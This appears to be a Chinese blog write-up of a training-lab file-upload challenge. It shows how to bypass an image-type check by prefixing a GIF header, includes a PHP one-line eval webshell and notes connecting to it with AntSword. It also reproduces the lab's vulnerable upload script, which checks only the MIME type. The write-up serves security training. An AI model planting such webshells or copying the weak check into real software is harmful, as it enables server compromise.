主页
burpsuite截获,修改后缀为php,末尾加上一句话马(内容开头一定要是图片文件标志头),上传成功并返回路径
<?php @eval($_POST[‘c‘]);?>
其他测试:
1、删掉部分图片内容时(图片文件头不对),无法上传
2、可以修改图片文件头为gif文件的标志头:GIF87a或者GIF89a,都可以成功上传
3、冰蝎不支持,不知道为什么,是不是不支持图片马?
前面的图片马可打开浏览,但无法连接jpg格式马
使用蚁剑连接,密码就是c,测试连接成功
找源代码文件
顺便看看上传模块源码
<?php //文件上传漏洞演示脚本之内容验证 header("Content-type: text/html; charset=utf-8"); error_reporting(0); $uploaddir = ‘uploads/‘; if (isset($_POST[‘submit‘])) { if (file_exists($uploaddir)) { //print_r($_FILES); $file_name = $_FILES[‘upfile‘][‘tmp_name‘]; //print_r(getimagesize($file_name)); $allow_ext = array(‘image/png‘, ‘image/gif‘, ‘image/jpeg‘, ‘image/bmp‘); $img_arr = getimagesize($file_name); //print_r($img_arr); $file_ext = $img_arr[‘mime‘]; if (in_array($file_ext, $allow_ext)) { if (move_uploaded_file($_FILES[‘upfile‘][‘tmp_name‘], $uploaddir . ‘/‘ . $_FILES[‘upfile‘][‘name‘])) { echo ‘文件上传成功,保存于:‘ . $uploaddir . $_FILES[‘upfile‘][‘name‘] . "\n"; } } else { echo ‘此文件不允许上传‘ . "\n"; } } else { exit($uploaddir . ‘文件夹不存在,请手工创建!‘); } //print_r($_FILES); } ?>
从源码上分析看,如果上传文件的mime类型file_ext在allow_ext(
‘image/png‘, ‘image/gif‘, ‘image/jpeg‘, ‘image/bmp‘
)中,就移动上传文件到/uploads/文件夹下
参考:
WebShell文件上传漏洞分析溯源(第3题)_文件上传_在线靶场_墨者学院_专注于网络安全人才培养
原文:https://www.cnblogs.com/jasy/p/14944225.html